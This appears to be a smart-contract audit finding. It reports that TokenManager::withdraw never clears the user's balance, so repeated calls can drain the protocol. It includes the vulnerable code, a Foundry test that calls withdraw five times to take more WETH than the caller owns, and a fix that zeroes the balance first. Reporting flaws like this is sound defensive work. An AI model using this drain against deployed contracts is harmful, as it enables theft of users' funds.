Summary
Note: see the submission "Funds are stuck in the protocol because of approve(address(this))" first.
The TokenManager::withdraw function is designed to allow users to withdraw available funds from the protocol. However, this function doesn't update the state, which means nothing stops users from calling withdraw() function multiple times.
Vulnerability
The TokenManager::withdraw function doesn't update the userTokenBalanceMap mapping before transferring funds, which allows users to repeatedly call the withdraw() function to drain the protocol.
Code Snippet
* @notice Withdraw
* @dev Caller must be owner
* @param _tokenAddress Token address
* @param _tokenBalanceType Token balance type
*/
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
@> uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}
Impact
Although this attack is currently impossible due to bug in the TokenManager::_transfer function, once it is fixed, users will be able to steal all funds from the protocol.
Proof Of Concept
User calls PreMarket::createOffer function, sending 0.012 ether to the protocol.
User1 also calls PreMarket::createOffer function, sending 0.012 ether to the protocol.
User2 calls PreMarket:createTaker function, sending 0.005175 ether to the protocol.
User calls withdraw() function several times, ultimately withdrawing more ether than they own on the protocol balance.
Note: First, implement the "Recommended Mitigation" from the submission "Funds are stuck in the protocol because of approve(address(this))".
Place this into the PreMarkets.t.sol file and execute the following command:
forge test --mt test_callWithdrawSeveralTimesToStealFunds -vv
function test_callWithdrawSeveralTimesToStealFunds() public {
deal(user, 100000000 * 10 ** 18);
deal(user1, 100000000 * 10 ** 18);
deal(user2, 100000000 * 10 ** 18);
vm.startPrank(user);
preMarktes.createOffer{value: 0.012 * 1e18}(
CreateOfferParams(
marketPlace,
address(weth9),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Protected
)
);
vm.stopPrank();
vm.startPrank(user1);
preMarktes.createOffer{value: 0.012 * 1e18}(
CreateOfferParams(
marketPlace,
address(weth9),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Protected
)
);
vm.stopPrank();
console2.log("capitalPoolBalace0: ", weth9.balanceOf(address(capitalPool)));
vm.startPrank(user2);
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker{value: 0.005175 * 1e18}(offerAddr, 500);
vm.stopPrank();
vm.startPrank(user);
for (uint256 i; i < 5; i++) {
tokenManager.withdraw(address(weth9), TokenBalanceType.SalesRevenue);
}
vm.stopPrank();
console2.log("capitalPoolBalace1: ", weth9.balanceOf(address(capitalPool)));
}
Tools Used
Manual review
Foundry
Recommended Mitigation
It is recommended to update userTokenBalanceMap before transferring funds to users.
/**
* @notice Withdraw
* @dev Caller must be owner
* @param _tokenAddress Token address
* @param _tokenBalanceType Token balance type
*/
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
+ userTokenBalanceMap[_msgSender()][
+ _tokenAddress
+ ][_tokenBalanceType] = 0;
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}
